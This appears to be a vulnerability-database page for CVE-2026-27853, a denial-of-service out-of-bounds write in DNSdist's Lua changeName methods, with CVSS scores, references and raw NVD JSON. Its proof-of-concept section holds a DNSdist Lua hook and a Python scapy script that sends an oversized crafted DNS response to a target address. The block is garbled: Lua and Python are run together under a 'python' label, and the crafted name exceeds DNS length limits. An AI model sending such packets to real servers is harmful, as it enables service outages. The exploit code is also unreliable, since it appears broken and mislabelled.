CVE-2026-27853

Description

An attacker might be able to trigger an out-of-bounds write by sending crafted DNS responses to a DNSdist using the DNSQuestion:changeName or DNSResponse:changeName methods in custom Lua code. In some cases the rewritten packet might become larger than the initial response and even exceed 65535 bytes, potentially leading to a crash resulting in denial of service.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:* - VULNERABLE

DNSdist (具体受影响版本请参考PowerDNS安全公告 2026-02)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

-- Vulnerable Lua configuration example for DNSdist
function modifyDNSName(dq)
    -- This function attempts to change the name.
    -- If the incoming packet is crafted to be large,
    -- this operation can trigger an out-of-bounds write.
    local newName = "a." .. string.rep("subdomain.", 100) .. "example.com"
    dq:changeName(newName)
end

addAction("example.org", LuaResponseAction(modifyDNSName))

-- Python script to simulate a crafted DNS response
from scapy.all import *

# Target configuration
target_ip = "192.168.1.10"
target_port = 53

# Craft a DNS response with a large name that will expand further when modified
# This packet itself might be valid, but triggers the bug when processed by the Lua hook
crafted_name = "a." + "x." * 2000 + "attacker.com"
packet = IP(dst=target_ip) / UDP(dport=target_port) / DNS(
    id=1000,
    qr=1,
    qd=DNSQR(qname="example.org"),
    an=DNSRR(rrname=crafted_name, type="A", ttl=60, rdata="1.2.3.4")
)

send(packet)
print("[+] Malicious DNS response sent to trigger potential out-of-bounds write.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27853
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27853
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27853/
[4] VulDB https://vuldb.com/cve/CVE-2026-27853
[5] https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-02.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27853", "sourceIdentifier": "[email protected]", "published": "2026-03-31T12:16:27.917", "lastModified": "2026-04-14T16:12:32.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker might be able to trigger an out-of-bounds write by sending crafted DNS responses to a DNSdist using the DNSQuestion:changeName or DNSResponse:changeName methods in custom Lua code. In some cases the rewritten packet might become larger than the initial response and even exceed 65535 bytes, potentially leading to a crash resulting in denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.9.0", "versionEndExcluding": "1.9.12", "matchCriteriaId": "628B3B94-81DE-496E-B36A-B79A3DFFE1F4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.3", "matchCriteriaId": "9AC850DD-FDD8-4C48-B861-4BBAF423FF57"}]}]}], "references": [{"url": "https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-02.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}